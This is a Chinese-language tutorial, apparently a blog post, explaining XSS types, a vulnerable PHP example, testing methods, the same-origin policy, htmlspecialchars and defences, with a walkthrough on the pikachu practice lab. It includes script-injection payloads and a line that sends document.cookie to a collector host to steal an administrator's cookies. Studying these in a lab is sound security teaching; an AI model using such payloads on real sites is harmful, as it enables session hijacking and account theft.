09.XSS跨站脚本攻击(超详细!!!)

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)

php 复制代码
<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

php 复制代码
<script>alert(1)</script>

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

php 复制代码
<a href='"+str+"'>what do you see?</a>

<a href='#' onclick="alert(1111)">what do you see?</a>

<a href='#' onclick="alert(2222)">what do you see?</a>

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;

(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;

(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

进入这个界面后,点击进行初始化安装


5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

php 复制代码
111'"><script>alert(1)</script>

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

登录用户名和密码分别是admin和123456

发现登录进去之后会弹出我们刚才注入的信息

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

通过下面的代码获取cookie

php 复制代码
<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向

注入后提交

再登录到管理员后台,发现登录完成后会自动跳转到首页

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域

php 复制代码
http:// www.   oldboyedu.com :80 /   news/index.php
协议    子域名    主域名       端口      资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:

① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。

② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。

③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。

④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。

⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

html 复制代码
<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

html 复制代码
& 转换为 &amp;
" 转换为 &quot;(双引号)
' 转换为 &#039; 或 '(单引号)
< 转换为 &lt;
> 转换为 &gt;

参数说明:

$string:需要转义的原始字符串。

$flags:指定转义的模式,可以是以下常量之一或组合:

ENT_COMPAT:默认值,转换<>"'&字符。

ENT_QUOTES:转换双引号和单引号。

ENT_NOQUOTES:不转换引号,只转换<>&。

ENT_HTML401:遵守HTML 4.01规范。

ENT_XML1:遵守XML 1规范。

ENT_XHTML:遵守XHTML规范。

ENT_HTML5:遵守HTML 5规范。

$encoding:指定字符编码。默认为UTF-8。

$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。

② 对输出到页面的数据进行编码或转义,防止执行。

③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。

④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。

⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。

⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

相关推荐
小行星1256 分钟前
前端预览pdf文件流
前端·javascript·vue.js
小行星12513 分钟前
前端把dom页面转为pdf文件下载和弹窗预览
前端·javascript·vue.js·pdf
Yz987616 分钟前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发
Lysun00122 分钟前
[less] Operation on an invalid type
前端·vue·less·sass·scss
苏-言29 分钟前
Spring IOC实战指南:从零到一的构建过程
java·数据库·spring
运维&陈同学33 分钟前
【zookeeper01】消息队列与微服务之zookeeper工作原理
运维·分布式·微服务·zookeeper·云原生·架构·消息队列
Ljw...35 分钟前
索引(MySQL)
数据库·mysql·索引
J总裁的小芒果37 分钟前
Vue3 el-table 默认选中 传入的数组
前端·javascript·elementui·typescript
Lei_zhen9640 分钟前
记录一次electron-builder报错ENOENT: no such file or directory, rename xxxx的问题
前端·javascript·electron
咖喱鱼蛋42 分钟前
Electron一些概念理解
前端·javascript·electron